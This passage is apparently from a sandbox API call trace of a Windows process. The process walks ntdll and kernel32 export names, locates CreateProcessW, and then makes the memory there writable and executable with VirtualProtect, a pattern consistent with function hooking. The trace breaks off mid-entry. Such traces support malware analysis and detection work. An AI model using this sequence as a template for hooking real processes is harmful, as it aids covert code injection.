(lpString="EtwNotificationRegister") returned 23 [0079.299] lstrlenA (lpString="EtwNotificationUnregister") returned 25 [0079.299] lstrlenA (lpString="EtwProcessPrivateLoggerRequest") returned 30 [0079.299] lstrlenA (lpString="EtwRegisterSecurityProvider") returned 27 [0079.299] lstrlenA (lpString="EtwRegisterTraceGuidsA") returned 22 [0079.299] lstrlenA (lpString="EtwRegisterTraceGuidsW") returned 22 [0079.299] lstrlenA (lpString="EtwReplyNotification") returned 20 [0079.299] lstrlenA (lpString="EtwSendNotification") returned 19 [0079.299] lstrlenA (lpString="EtwSetMark") returned 10 [0079.299] lstrlenA (lpString="EtwTraceEventInstance") returned 21 [0079.299] lstrlenA (lpString="EtwTraceMessage") returned 15 [0079.299] lstrlenA (lpString="EtwTraceMessageVa") returned 17 [0079.299] lstrlenA (lpString="EtwUnregisterTraceGuids") returned 23 [0079.299] lstrlenA (lpString="EtwWriteUMSecurityEvent") returned 23 [0079.299] lstrlenA (lpString="EtwpCreateEtwThread") returned 19 [0079.299] lstrlenA (lpString="EtwpGetCpuSpeed") returned 15 [0079.299] lstrlenA (lpString="EtwpNotificationThread") returned 22 [0079.299] lstrlenA (lpString="EvtIntReportAuthzEventAndSourceAsync") returned 36 [0079.299] lstrlenA (lpString="EvtIntReportEventAndSourceAsync") returned 31 [0079.299] lstrlenA (lpString="ExpInterlockedPopEntrySListEnd") returned 30 [0079.299] lstrlenA (lpString="ExpInterlockedPopEntrySListEnd16") returned 32 [0079.299] lstrlenA (lpString="ExpInterlockedPopEntrySListFault") returned 32 [0079.300] lstrlenA (lpString="ExpInterlockedPopEntrySListFault16") returned 34 [0079.300] lstrlenA (lpString="ExpInterlockedPopEntrySListResume") returned 33 [0079.300] lstrlenA (lpString="ExpInterlockedPopEntrySListResume16") returned 35 [0079.300] lstrlenA (lpString="KiRaiseUserExceptionDispatcher") returned 30 [0079.300] lstrlenA (lpString="KiUserApcDispatcher") returned 19 [0079.300] lstrlenA (lpString="KiUserCallbackDispatcher") returned 24 [0079.300] lstrlenA (lpString="KiUserExceptionDispatcher") returned 25 [0079.300] lstrlenA (lpString="LdrAccessResource") returned 17 [0079.300] lstrlenA (lpString="LdrAddLoadAsDataTable") returned 21 [0079.300] lstrlenA (lpString="LdrAddRefDll") returned 12 [0079.300] lstrlenA (lpString="LdrDisableThreadCalloutsForDll") returned 30 [0079.300] lstrlenA (lpString="LdrEnumResources") returned 16 [0079.300] lstrlenA (lpString="LdrEnumerateLoadedModules") returned 25 [0079.300] lstrlenA (lpString="LdrFindEntryForAddress") returned 22 [0079.300] lstrlenA (lpString="LdrFindResourceDirectory_U") returned 26 [0079.300] lstrlenA (lpString="LdrFindResourceEx_U") returned 19 [0079.300] lstrlenA (lpString="LdrFindResource_U") returned 17 [0079.300] lstrlenA (lpString="LdrFlushAlternateResourceModules") returned 32 [0079.300] lstrlenA (lpString="LdrGetDllHandle") returned 15 [0079.300] lstrlenA (lpString="LdrGetDllHandleByMapping") returned 24 [0079.300] lstrlenA (lpString="LdrGetDllHandleByName") returned 21 [0079.300] lstrlenA (lpString="LdrGetDllHandleEx") returned 17 [0079.300] lstrlenA (lpString="LdrGetFailureData") returned 17 [0079.300] lstrlenA (lpString="LdrGetFileNameFromLoadAsDataTable") returned 33 [0079.300] lstrlenA (lpString="LdrGetKnownDllSectionHandle") returned 27 [0079.300] lstrlenA (lpString="LdrGetProcedureAddress") returned 22 [0079.300] lstrlenA (lpString="LdrGetProcedureAddressEx") returned 24 [0079.300] lstrlenA (lpString="LdrHotPatchRoutine") returned 18 [0079.300] lstrlenA (lpString="LdrInitShimEngineDynamic") returned 24 [0079.300] lstrlenA (lpString="LdrInitializeThunk") returned 18 [0079.300] lstrlenA (lpString="LdrLoadAlternateResourceModule") returned 30 [0079.300] lstrlenA (lpString="LdrLoadAlternateResourceModuleEx") returned 32 [0079.300] lstrlenA (lpString="LdrLoadDll") returned 10 [0079.300] lstrlenA (lpString="LdrLockLoaderLock") returned 17 [0079.300] lstrlenA (lpString="LdrOpenImageFileOptionsKey") returned 26 [0079.300] lstrlenA (lpString="LdrProcessInitializationComplete") returned 32 [0079.300] lstrlenA (lpString="LdrProcessRelocationBlock") returned 25 [0079.300] lstrlenA (lpString="LdrQueryImageFileExecutionOptions") returned 33 [0079.300] lstrlenA (lpString="LdrQueryImageFileExecutionOptionsEx") returned 35 [0079.300] lstrlenA (lpString="LdrQueryImageFileKeyOption") returned 26 [0079.300] lstrlenA (lpString="LdrQueryModuleServiceTags") returned 25 [0079.300] lstrlenA (lpString="LdrQueryProcessModuleInformation") returned 32 [0079.301] lstrlenA (lpString="LdrRegisterDllNotification") returned 26 [0079.301] lstrlenA (lpString="LdrRemoveLoadAsDataTable") returned 24 [0079.301] lstrlenA (lpString="LdrResFindResource") returned 18 [0079.301] lstrlenA (lpString="LdrResFindResourceDirectory") returned 27 [0079.301] lstrlenA (lpString="LdrResGetRCConfig") returned 17 [0079.301] lstrlenA (lpString="LdrResRelease") returned 13 [0079.301] lstrlenA (lpString="LdrResSearchResource") returned 20 [0079.301] lstrlenA (lpString="LdrRscIsTypeExist") returned 17 [0079.301] lstrlenA (lpString="LdrSetAppCompatDllRedirectionCallback") returned 37 [0079.301] lstrlenA (lpString="LdrSetDllManifestProber") returned 23 [0079.301] lstrlenA (lpString="LdrSetMUICacheType") returned 18 [0079.301] lstrlenA (lpString="LdrShutdownProcess") returned 18 [0079.301] lstrlenA (lpString="LdrShutdownThread") returned 17 [0079.301] lstrlenA (lpString="LdrUnloadAlternateResourceModule") returned 32 [0079.301] lstrlenA (lpString="LdrUnloadAlternateResourceModuleEx") returned 34 [0079.301] lstrlenA (lpString="LdrUnloadDll") returned 12 [0079.301] lstrlenA (lpString="LdrUnlockLoaderLock") returned 19 [0079.301] lstrlenA (lpString="LdrUnregisterDllNotification") returned 28 [0079.301] lstrlenA (lpString="LdrVerifyImageMatchesChecksum") returned 29 [0079.301] lstrlenA (lpString="LdrVerifyImageMatchesChecksumEx") returned 31 [0079.301] lstrlenA (lpString="LdrpResGetMappingSize") returned 21 [0079.301] lstrlenA (lpString="LdrpResGetResourceDirectory") returned 27 [0079.301] lstrlenA (lpString="MD4Final") returned 8 [0079.301] lstrlenA (lpString="MD4Init") returned 7 [0079.301] lstrlenA (lpString="MD4Update") returned 9 [0079.301] lstrlenA (lpString="MD5Final") returned 8 [0079.301] lstrlenA (lpString="MD5Init") returned 7 [0079.301] lstrlenA (lpString="MD5Update") returned 9 [0079.301] lstrlenA (lpString="NlsAnsiCodePage") returned 15 [0079.301] lstrlenA (lpString="NlsMbCodePageTag") returned 16 [0079.301] lstrlenA (lpString="NlsMbOemCodePageTag") returned 19 [0079.301] lstrlenA (lpString="NtAcceptConnectPort") returned 19 [0079.301] lstrlenA (lpString="NtAccessCheck") returned 13 [0079.301] lstrlenA (lpString="NtAccessCheckAndAuditAlarm") returned 26 [0079.301] lstrlenA (lpString="NtAccessCheckByType") returned 19 [0079.301] lstrlenA (lpString="NtAccessCheckByTypeAndAuditAlarm") returned 32 [0079.301] lstrlenA (lpString="NtAccessCheckByTypeResultList") returned 29 [0079.301] lstrlenA (lpString="NtAccessCheckByTypeResultListAndAuditAlarm") returned 42 [0079.301] lstrlenA (lpString="NtAccessCheckByTypeResultListAndAuditAlarmByHandle") returned 50 [0079.301] lstrlenA (lpString="NtAddAtom") returned 9 [0079.301] lstrlenA (lpString="NtAddBootEntry") returned 14 [0079.302] lstrlenA (lpString="NtAddDriverEntry") returned 16 [0079.302] lstrlenA (lpString="NtAdjustGroupsToken") returned 19 [0079.302] lstrlenA (lpString="NtAdjustPrivilegesToken") returned 23 [0079.302] lstrlenA (lpString="NtAlertResumeThread") returned 19 [0079.302] lstrlenA (lpString="NtAlertThread") returned 13 [0079.302] lstrlenA (lpString="NtAllocateLocallyUniqueId") returned 25 [0079.302] lstrlenA (lpString="NtAllocateReserveObject") returned 23 [0079.302] lstrlenA (lpString="NtAllocateUserPhysicalPages") returned 27 [0079.302] lstrlenA (lpString="NtAllocateUuids") returned 15 [0079.302] lstrlenA (lpString="NtAllocateVirtualMemory") returned 23 [0079.302] lstrlenA (lpString="NtAlpcAcceptConnectPort") returned 23 [0079.302] lstrlenA (lpString="NtAlpcCancelMessage") returned 19 [0079.302] lstrlenA (lpString="NtAlpcConnectPort") returned 17 [0079.302] lstrlenA (lpString="NtAlpcCreatePort") returned 16 [0079.302] lstrlenA (lpString="NtAlpcCreatePortSection") returned 23 [0079.302] lstrlenA (lpString="NtAlpcCreateResourceReserve") returned 27 [0079.302] lstrlenA (lpString="NtAlpcCreateSectionView") returned 23 [0079.302] lstrlenA (lpString="NtAlpcCreateSecurityContext") returned 27 [0079.302] lstrlenA (lpString="NtAlpcDeletePortSection") returned 23 [0079.302] lstrlenA (lpString="NtAlpcDeleteResourceReserve") returned 27 [0079.302] lstrlenA (lpString="NtAlpcDeleteSectionView") returned 23 [0079.302] lstrlenA (lpString="NtAlpcDeleteSecurityContext") returned 27 [0079.302] lstrlenA (lpString="NtAlpcDisconnectPort") returned 20 [0079.302] lstrlenA (lpString="NtAlpcImpersonateClientOfPort") returned 29 [0079.302] lstrlenA (lpString="NtAlpcOpenSenderProcess") returned 23 [0079.302] lstrlenA (lpString="NtAlpcOpenSenderThread") returned 22 [0079.302] lstrlenA (lpString="NtAlpcQueryInformation") returned 22 [0079.302] lstrlenA (lpString="NtAlpcQueryInformationMessage") returned 29 [0079.302] lstrlenA (lpString="NtAlpcRevokeSecurityContext") returned 27 [0079.302] lstrlenA (lpString="NtAlpcSendWaitReceivePort") returned 25 [0079.302] lstrlenA (lpString="NtAlpcSetInformation") returned 20 [0079.302] lstrlenA (lpString="NtApphelpCacheControl") returned 21 [0079.302] lstrlenA (lpString="NtAreMappedFilesTheSame") returned 23 [0079.302] lstrlenA (lpString="NtAssignProcessToJobObject") returned 26 [0079.302] lstrlenA (lpString="NtCallbackReturn") returned 16 [0079.302] lstrlenA (lpString="NtCancelIoFile") returned 14 [0079.302] lstrlenA (lpString="NtCancelIoFileEx") returned 16 [0079.302] lstrlenA (lpString="NtCancelSynchronousIoFile") returned 25 [0079.302] lstrlenA (lpString="NtCancelTimer") returned 13 [0079.302] lstrlenA (lpString="NtClearEvent") returned 12 [0079.302] lstrlenA (lpString="NtClose") returned 7 [0079.303] lstrlenA (lpString="NtCloseObjectAuditAlarm") returned 23 [0079.303] lstrlenA (lpString="NtCommitComplete") returned 16 [0079.303] lstrlenA (lpString="NtCommitEnlistment") returned 18 [0079.303] lstrlenA (lpString="NtCommitTransaction") returned 19 [0079.303] lstrlenA (lpString="NtCompactKeys") returned 13 [0079.303] lstrlenA (lpString="NtCompareTokens") returned 15 [0079.303] lstrlenA (lpString="NtCompleteConnectPort") returned 21 [0079.303] lstrlenA (lpString="NtCompressKey") returned 13 [0079.303] lstrlenA (lpString="NtConnectPort") returned 13 [0079.303] lstrlenA (lpString="NtContinue") returned 10 [0079.303] lstrlenA (lpString="NtCreateDebugObject") returned 19 [0079.303] lstrlenA (lpString="NtCreateDirectoryObject") returned 23 [0079.303] lstrlenA (lpString="NtCreateEnlistment") returned 18 [0079.303] lstrlenA (lpString="NtCreateEvent") returned 13 [0079.303] lstrlenA (lpString="NtCreateEventPair") returned 17 [0079.303] lstrlenA (lpString="NtCreateFile") returned 12 [0079.303] lstrlenA (lpString="NtCreateIoCompletion") returned 20 [0079.303] lstrlenA (lpString="NtCreateJobObject") returned 17 [0079.303] lstrlenA (lpString="NtCreateJobSet") returned 14 [0079.303] lstrlenA (lpString="NtCreateKey") returned 11 [0079.303] lstrlenA (lpString="NtCreateKeyTransacted") returned 21 [0079.303] lstrlenA (lpString="NtCreateKeyedEvent") returned 18 [0079.303] lstrlenA (lpString="NtCreateMailslotFile") returned 20 [0079.303] lstrlenA (lpString="NtCreateMutant") returned 14 [0079.303] lstrlenA (lpString="NtCreateNamedPipeFile") returned 21 [0079.303] lstrlenA (lpString="NtCreatePagingFile") returned 18 [0079.303] lstrlenA (lpString="NtCreatePort") returned 12 [0079.303] lstrlenA (lpString="NtCreatePrivateNamespace") returned 24 [0079.303] lstrlenA (lpString="NtCreateProcess") returned 15 [0079.303] lstrlenA (lpString="NtCreateProcessEx") returned 17 [0079.303] lstrlenA (lpString="NtCreateProfile") returned 15 [0079.303] lstrlenA (lpString="NtCreateProfileEx") returned 17 [0079.303] lstrlenA (lpString="NtCreateResourceManager") returned 23 [0079.303] lstrlenA (lpString="NtCreateSection") returned 15 [0079.308] GetModuleHandleA (lpModuleName="ADVAPI32.DLL") returned 0x7fefd710000 [0079.308] GetModuleHandleA (lpModuleName="KERNEL32.DLL") returned 0x77040000 [0079.309] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x0, Size=0x60) returned 0x241ec70 [0079.309] lstrcmpA (lpString1="AcquireSRWLockExclusive", lpString2="CreateProcessW") returned -1 [0079.310] lstrcmpA (lpString1="AcquireSRWLockShared", lpString2="CreateProcessW") returned -1 [0079.310] lstrcmpA (lpString1="ActivateActCtx", lpString2="CreateProcessW") returned -1 [0079.310] lstrcmpA (lpString1="AddAtomA", lpString2="CreateProcessW") returned -1 [0079.310] lstrcmpA (lpString1="AddAtomW", lpString2="CreateProcessW") returned -1 [0079.311] lstrcmpA (lpString1="AddConsoleAliasA", lpString2="CreateProcessW") returned -1 [0079.311] lstrcmpA (lpString1="AddConsoleAliasW", lpString2="CreateProcessW") returned -1 [0079.311] lstrcmpA (lpString1="AddIntegrityLabelToBoundaryDescriptor", lpString2="CreateProcessW") returned -1 [0079.311] lstrcmpA (lpString1="AddLocalAlternateComputerNameA", lpString2="CreateProcessW") returned -1 [0079.311] lstrcmpA (lpString1="AddLocalAlternateComputerNameW", lpString2="CreateProcessW") returned -1 [0079.311] lstrcmpA (lpString1="AddRefActCtx", lpString2="CreateProcessW") returned -1 [0079.311] lstrcmpA (lpString1="AddSIDToBoundaryDescriptor", lpString2="CreateProcessW") returned -1 [0079.311] lstrcmpA (lpString1="AddSecureMemoryCacheCallback", lpString2="CreateProcessW") returned -1 [0079.311] lstrcmpA (lpString1="AddVectoredContinueHandler", lpString2="CreateProcessW") returned -1 [0079.311] lstrcmpA (lpString1="AddVectoredExceptionHandler", lpString2="CreateProcessW") returned -1 [0079.311] lstrcmpA (lpString1="AdjustCalendarDate", lpString2="CreateProcessW") returned -1 [0079.311] lstrcmpA (lpString1="AllocConsole", lpString2="CreateProcessW") returned -1 [0079.311] lstrcmpA (lpString1="AllocateUserPhysicalPages", lpString2="CreateProcessW") returned -1 [0079.311] lstrcmpA (lpString1="AllocateUserPhysicalPagesNuma", lpString2="CreateProcessW") returned -1 [0079.311] lstrcmpA (lpString1="ApplicationRecoveryFinished", lpString2="CreateProcessW") returned -1 [0079.311] lstrcmpA (lpString1="ApplicationRecoveryInProgress", lpString2="CreateProcessW") returned -1 [0079.311] lstrcmpA (lpString1="AreFileApisANSI", lpString2="CreateProcessW") returned -1 [0079.311] lstrcmpA (lpString1="AssignProcessToJobObject", lpString2="CreateProcessW") returned -1 [0079.311] lstrcmpA (lpString1="AttachConsole", lpString2="CreateProcessW") returned -1 [0079.311] lstrcmpA (lpString1="BackupRead", lpString2="CreateProcessW") returned -1 [0079.311] lstrcmpA (lpString1="BackupSeek", lpString2="CreateProcessW") returned -1 [0079.311] lstrcmpA (lpString1="BackupWrite", lpString2="CreateProcessW") returned -1 [0079.311] lstrcmpA (lpString1="BaseCheckAppcompatCache", lpString2="CreateProcessW") returned -1 [0079.311] lstrcmpA (lpString1="BaseCheckAppcompatCacheEx", lpString2="CreateProcessW") returned -1 [0079.311] lstrcmpA (lpString1="BaseCheckRunApp", lpString2="CreateProcessW") returned -1 [0079.311] lstrcmpA (lpString1="BaseCleanupAppcompatCacheSupport", lpString2="CreateProcessW") returned -1 [0079.311] lstrcmpA (lpString1="BaseDllReadWriteIniFile", lpString2="CreateProcessW") returned -1 [0079.311] lstrcmpA (lpString1="BaseDumpAppcompatCache", lpString2="CreateProcessW") returned -1 [0079.311] lstrcmpA (lpString1="BaseFlushAppcompatCache", lpString2="CreateProcessW") returned -1 [0079.311] lstrcmpA (lpString1="BaseFormatObjectAttributes", lpString2="CreateProcessW") returned -1 [0079.311] lstrcmpA (lpString1="BaseFormatTimeOut", lpString2="CreateProcessW") returned -1 [0079.311] lstrcmpA (lpString1="BaseGenerateAppCompatData", lpString2="CreateProcessW") returned -1 [0079.311] lstrcmpA (lpString1="BaseGetNamedObjectDirectory", lpString2="CreateProcessW") returned -1 [0079.311] lstrcmpA (lpString1="BaseInitAppcompatCacheSupport", lpString2="CreateProcessW") returned -1 [0079.311] lstrcmpA (lpString1="BaseIsAppcompatInfrastructureDisabled", lpString2="CreateProcessW") returned -1 [0079.311] lstrcmpA (lpString1="BaseQueryModuleData", lpString2="CreateProcessW") returned -1 [0079.311] lstrcmpA (lpString1="BaseSetLastNTError", lpString2="CreateProcessW") returned -1 [0079.311] lstrcmpA (lpString1="BaseThreadInitThunk", lpString2="CreateProcessW") returned -1 [0079.311] lstrcmpA (lpString1="BaseUpdateAppcompatCache", lpString2="CreateProcessW") returned -1 [0079.312] lstrcmpA (lpString1="BaseVerifyUnicodeString", lpString2="CreateProcessW") returned -1 [0079.312] lstrcmpA (lpString1="Basep8BitStringToDynamicUnicodeString", lpString2="CreateProcessW") returned -1 [0079.312] lstrcmpA (lpString1="BasepAllocateActivationContextActivationBlock", lpString2="CreateProcessW") returned -1 [0079.312] lstrcmpA (lpString1="BasepAnsiStringToDynamicUnicodeString", lpString2="CreateProcessW") returned -1 [0079.312] lstrcmpA (lpString1="BasepCheckAppCompat", lpString2="CreateProcessW") returned -1 [0079.312] lstrcmpA (lpString1="BasepCheckBadapp", lpString2="CreateProcessW") returned -1 [0079.312] lstrcmpA (lpString1="BasepCheckWinSaferRestrictions", lpString2="CreateProcessW") returned -1 [0079.312] lstrcmpA (lpString1="BasepFreeActivationContextActivationBlock", lpString2="CreateProcessW") returned -1 [0079.312] lstrcmpA (lpString1="BasepFreeAppCompatData", lpString2="CreateProcessW") returned -1 [0079.312] lstrcmpA (lpString1="BasepMapModuleHandle", lpString2="CreateProcessW") returned -1 [0079.312] lstrcmpA (lpString1="Beep", lpString2="CreateProcessW") returned -1 [0079.312] lstrcmpA (lpString1="BeginUpdateResourceA", lpString2="CreateProcessW") returned -1 [0079.312] lstrcmpA (lpString1="BeginUpdateResourceW", lpString2="CreateProcessW") returned -1 [0079.312] lstrcmpA (lpString1="BindIoCompletionCallback", lpString2="CreateProcessW") returned -1 [0079.312] lstrcmpA (lpString1="BuildCommDCBA", lpString2="CreateProcessW") returned -1 [0079.312] lstrcmpA (lpString1="BuildCommDCBAndTimeoutsA", lpString2="CreateProcessW") returned -1 [0079.312] lstrcmpA (lpString1="BuildCommDCBAndTimeoutsW", lpString2="CreateProcessW") returned -1 [0079.312] lstrcmpA (lpString1="BuildCommDCBW", lpString2="CreateProcessW") returned -1 [0079.312] lstrcmpA (lpString1="CallNamedPipeA", lpString2="CreateProcessW") returned -1 [0079.312] lstrcmpA (lpString1="CallNamedPipeW", lpString2="CreateProcessW") returned -1 [0079.312] lstrcmpA (lpString1="CallbackMayRunLong", lpString2="CreateProcessW") returned -1 [0079.312] lstrcmpA (lpString1="CancelDeviceWakeupRequest", lpString2="CreateProcessW") returned -1 [0079.312] lstrcmpA (lpString1="CancelIo", lpString2="CreateProcessW") returned -1 [0079.312] lstrcmpA (lpString1="CancelIoEx", lpString2="CreateProcessW") returned -1 [0079.312] lstrcmpA (lpString1="CancelSynchronousIo", lpString2="CreateProcessW") returned -1 [0079.312] lstrcmpA (lpString1="CancelThreadpoolIo", lpString2="CreateProcessW") returned -1 [0079.312] lstrcmpA (lpString1="CancelTimerQueueTimer", lpString2="CreateProcessW") returned -1 [0079.312] lstrcmpA (lpString1="CancelWaitableTimer", lpString2="CreateProcessW") returned -1 [0079.312] lstrcmpA (lpString1="ChangeTimerQueueTimer", lpString2="CreateProcessW") returned -1 [0079.312] lstrcmpA (lpString1="CheckElevation", lpString2="CreateProcessW") returned -1 [0079.312] lstrcmpA (lpString1="CheckElevationEnabled", lpString2="CreateProcessW") returned -1 [0079.312] lstrcmpA (lpString1="CheckForReadOnlyResource", lpString2="CreateProcessW") returned -1 [0079.312] lstrcmpA (lpString1="CheckNameLegalDOS8Dot3A", lpString2="CreateProcessW") returned -1 [0079.312] lstrcmpA (lpString1="CheckNameLegalDOS8Dot3W", lpString2="CreateProcessW") returned -1 [0079.312] lstrcmpA (lpString1="CheckRemoteDebuggerPresent", lpString2="CreateProcessW") returned -1 [0079.312] lstrcmpA (lpString1="ClearCommBreak", lpString2="CreateProcessW") returned -1 [0079.312] lstrcmpA (lpString1="ClearCommError", lpString2="CreateProcessW") returned -1 [0079.312] lstrcmpA (lpString1="CloseConsoleHandle", lpString2="CreateProcessW") returned -1 [0079.312] lstrcmpA (lpString1="CloseHandle", lpString2="CreateProcessW") returned -1 [0079.313] lstrcmpA (lpString1="ClosePrivateNamespace", lpString2="CreateProcessW") returned -1 [0079.313] lstrcmpA (lpString1="CloseProfileUserMapping", lpString2="CreateProcessW") returned -1 [0079.313] lstrcmpA (lpString1="CloseThreadpool", lpString2="CreateProcessW") returned -1 [0079.313] lstrcmpA (lpString1="CloseThreadpoolCleanupGroup", lpString2="CreateProcessW") returned -1 [0079.313] lstrcmpA (lpString1="CloseThreadpoolCleanupGroupMembers", lpString2="CreateProcessW") returned -1 [0079.313] lstrcmpA (lpString1="CloseThreadpoolIo", lpString2="CreateProcessW") returned -1 [0079.313] lstrcmpA (lpString1="CloseThreadpoolTimer", lpString2="CreateProcessW") returned -1 [0079.313] lstrcmpA (lpString1="CloseThreadpoolWait", lpString2="CreateProcessW") returned -1 [0079.313] lstrcmpA (lpString1="CloseThreadpoolWork", lpString2="CreateProcessW") returned -1 [0079.313] lstrcmpA (lpString1="CmdBatNotification", lpString2="CreateProcessW") returned -1 [0079.313] lstrcmpA (lpString1="CommConfigDialogA", lpString2="CreateProcessW") returned -1 [0079.313] lstrcmpA (lpString1="CommConfigDialogW", lpString2="CreateProcessW") returned -1 [0079.313] lstrcmpA (lpString1="CompareCalendarDates", lpString2="CreateProcessW") returned -1 [0079.313] lstrcmpA (lpString1="CompareFileTime", lpString2="CreateProcessW") returned -1 [0079.313] lstrcmpA (lpString1="CompareStringA", lpString2="CreateProcessW") returned -1 [0079.313] lstrcmpA (lpString1="CompareStringEx", lpString2="CreateProcessW") returned -1 [0079.313] lstrcmpA (lpString1="CompareStringOrdinal", lpString2="CreateProcessW") returned -1 [0079.313] lstrcmpA (lpString1="CompareStringW", lpString2="CreateProcessW") returned -1 [0079.313] lstrcmpA (lpString1="ConnectNamedPipe", lpString2="CreateProcessW") returned -1 [0079.313] lstrcmpA (lpString1="ConsoleMenuControl", lpString2="CreateProcessW") returned -1 [0079.313] lstrcmpA (lpString1="ContinueDebugEvent", lpString2="CreateProcessW") returned -1 [0079.313] lstrcmpA (lpString1="ConvertCalDateTimeToSystemTime", lpString2="CreateProcessW") returned -1 [0079.313] lstrcmpA (lpString1="ConvertDefaultLocale", lpString2="CreateProcessW") returned -1 [0079.313] lstrcmpA (lpString1="ConvertFiberToThread", lpString2="CreateProcessW") returned -1 [0079.313] lstrcmpA (lpString1="ConvertNLSDayOfWeekToWin32DayOfWeek", lpString2="CreateProcessW") returned -1 [0079.313] lstrcmpA (lpString1="ConvertSystemTimeToCalDateTime", lpString2="CreateProcessW") returned -1 [0079.313] lstrcmpA (lpString1="ConvertThreadToFiber", lpString2="CreateProcessW") returned -1 [0079.313] lstrcmpA (lpString1="ConvertThreadToFiberEx", lpString2="CreateProcessW") returned -1 [0079.313] lstrcmpA (lpString1="CopyContext", lpString2="CreateProcessW") returned -1 [0079.313] lstrcmpA (lpString1="CopyFileA", lpString2="CreateProcessW") returned -1 [0079.313] lstrcmpA (lpString1="CopyFileExA", lpString2="CreateProcessW") returned -1 [0079.313] lstrcmpA (lpString1="CopyFileExW", lpString2="CreateProcessW") returned -1 [0079.313] lstrcmpA (lpString1="CopyFileTransactedA", lpString2="CreateProcessW") returned -1 [0079.313] lstrcmpA (lpString1="CopyFileTransactedW", lpString2="CreateProcessW") returned -1 [0079.313] lstrcmpA (lpString1="CopyFileW", lpString2="CreateProcessW") returned -1 [0079.313] lstrcmpA (lpString1="CopyLZFile", lpString2="CreateProcessW") returned -1 [0079.313] lstrcmpA (lpString1="CreateActCtxA", lpString2="CreateProcessW") returned -1 [0079.313] lstrcmpA (lpString1="CreateActCtxW", lpString2="CreateProcessW") returned -1 [0079.313] lstrcmpA (lpString1="CreateBoundaryDescriptorA", lpString2="CreateProcessW") returned -1 [0079.314] lstrcmpA (lpString1="CreateBoundaryDescriptorW", lpString2="CreateProcessW") returned -1 [0079.314] lstrcmpA (lpString1="CreateConsoleScreenBuffer", lpString2="CreateProcessW") returned -1 [0079.314] lstrcmpA (lpString1="CreateDirectoryA", lpString2="CreateProcessW") returned -1 [0079.314] lstrcmpA (lpString1="CreateDirectoryExA", lpString2="CreateProcessW") returned -1 [0079.314] lstrcmpA (lpString1="CreateDirectoryExW", lpString2="CreateProcessW") returned -1 [0079.314] lstrcmpA (lpString1="CreateDirectoryTransactedA", lpString2="CreateProcessW") returned -1 [0079.314] lstrcmpA (lpString1="CreateDirectoryTransactedW", lpString2="CreateProcessW") returned -1 [0079.314] lstrcmpA (lpString1="CreateDirectoryW", lpString2="CreateProcessW") returned -1 [0079.314] lstrcmpA (lpString1="CreateEventA", lpString2="CreateProcessW") returned -1 [0079.314] lstrcmpA (lpString1="CreateEventExA", lpString2="CreateProcessW") returned -1 [0079.314] lstrcmpA (lpString1="CreateEventExW", lpString2="CreateProcessW") returned -1 [0079.314] lstrcmpA (lpString1="CreateEventW", lpString2="CreateProcessW") returned -1 [0079.314] lstrcmpA (lpString1="CreateFiber", lpString2="CreateProcessW") returned -1 [0079.314] lstrcmpA (lpString1="CreateFiberEx", lpString2="CreateProcessW") returned -1 [0079.314] lstrcmpA (lpString1="CreateFileA", lpString2="CreateProcessW") returned -1 [0079.314] lstrcmpA (lpString1="CreateFileMappingA", lpString2="CreateProcessW") returned -1 [0079.314] lstrcmpA (lpString1="CreateFileMappingNumaA", lpString2="CreateProcessW") returned -1 [0079.314] lstrcmpA (lpString1="CreateFileMappingNumaW", lpString2="CreateProcessW") returned -1 [0079.314] lstrcmpA (lpString1="CreateFileMappingW", lpString2="CreateProcessW") returned -1 [0079.314] lstrcmpA (lpString1="CreateFileTransactedA", lpString2="CreateProcessW") returned -1 [0079.314] lstrcmpA (lpString1="CreateFileTransactedW", lpString2="CreateProcessW") returned -1 [0079.314] lstrcmpA (lpString1="CreateFileW", lpString2="CreateProcessW") returned -1 [0079.314] lstrcmpA (lpString1="CreateHardLinkA", lpString2="CreateProcessW") returned -1 [0079.314] lstrcmpA (lpString1="CreateHardLinkTransactedA", lpString2="CreateProcessW") returned -1 [0079.314] lstrcmpA (lpString1="CreateHardLinkTransactedW", lpString2="CreateProcessW") returned -1 [0079.314] lstrcmpA (lpString1="CreateHardLinkW", lpString2="CreateProcessW") returned -1 [0079.314] lstrcmpA (lpString1="CreateIoCompletionPort", lpString2="CreateProcessW") returned -1 [0079.314] lstrcmpA (lpString1="CreateJobObjectA", lpString2="CreateProcessW") returned -1 [0079.314] lstrcmpA (lpString1="CreateJobObjectW", lpString2="CreateProcessW") returned -1 [0079.314] lstrcmpA (lpString1="CreateJobSet", lpString2="CreateProcessW") returned -1 [0079.314] lstrcmpA (lpString1="CreateMailslotA", lpString2="CreateProcessW") returned -1 [0079.314] lstrcmpA (lpString1="CreateMailslotW", lpString2="CreateProcessW") returned -1 [0079.314] lstrcmpA (lpString1="CreateMemoryResourceNotification", lpString2="CreateProcessW") returned -1 [0079.314] lstrcmpA (lpString1="CreateMutexA", lpString2="CreateProcessW") returned -1 [0079.314] lstrcmpA (lpString1="CreateMutexExA", lpString2="CreateProcessW") returned -1 [0079.314] lstrcmpA (lpString1="CreateMutexExW", lpString2="CreateProcessW") returned -1 [0079.314] lstrcmpA (lpString1="CreateMutexW", lpString2="CreateProcessW") returned -1 [0079.314] lstrcmpA (lpString1="CreateNamedPipeA", lpString2="CreateProcessW") returned -1 [0079.314] lstrcmpA (lpString1="CreateNamedPipeW", lpString2="CreateProcessW") returned -1 [0079.315] lstrcmpA (lpString1="CreatePipe", lpString2="CreateProcessW") returned -1 [0079.315] lstrcmpA (lpString1="CreatePrivateNamespaceA", lpString2="CreateProcessW") returned -1 [0079.315] lstrcmpA (lpString1="CreatePrivateNamespaceW", lpString2="CreateProcessW") returned -1 [0079.315] lstrcmpA (lpString1="CreateProcessA", lpString2="CreateProcessW") returned -1 [0079.315] lstrcmpA (lpString1="CreateProcessAsUserW", lpString2="CreateProcessW") returned -1 [0079.315] lstrcmpA (lpString1="CreateProcessInternalA", lpString2="CreateProcessW") returned -1 [0079.315] lstrcmpA (lpString1="CreateProcessInternalW", lpString2="CreateProcessW") returned -1 [0079.315] lstrcmpA (lpString1="CreateProcessW", lpString2="CreateProcessW") returned 0 [0079.315] VirtualProtect (in: lpAddress=0x770e0304, dwSize=0x4, flNewProtect=0x40, lpflOldProtect=0x27ed68 | out: lpflOldProtect=0x27ed68*=0x2) returned 1 [0079.315] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x0, Size=0x18) returned 0x241ece0 [0079.315] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x0, Size=0x18) returned 0x241ed00 [0079.315] HeapFree (in: hHeap=0x2020000, dwFlags=0x0, lpMem=0x241ece0 | out: hHeap=0x2020000) returned 1 [0079.315] HeapFree (in: hHeap=0x2020000, 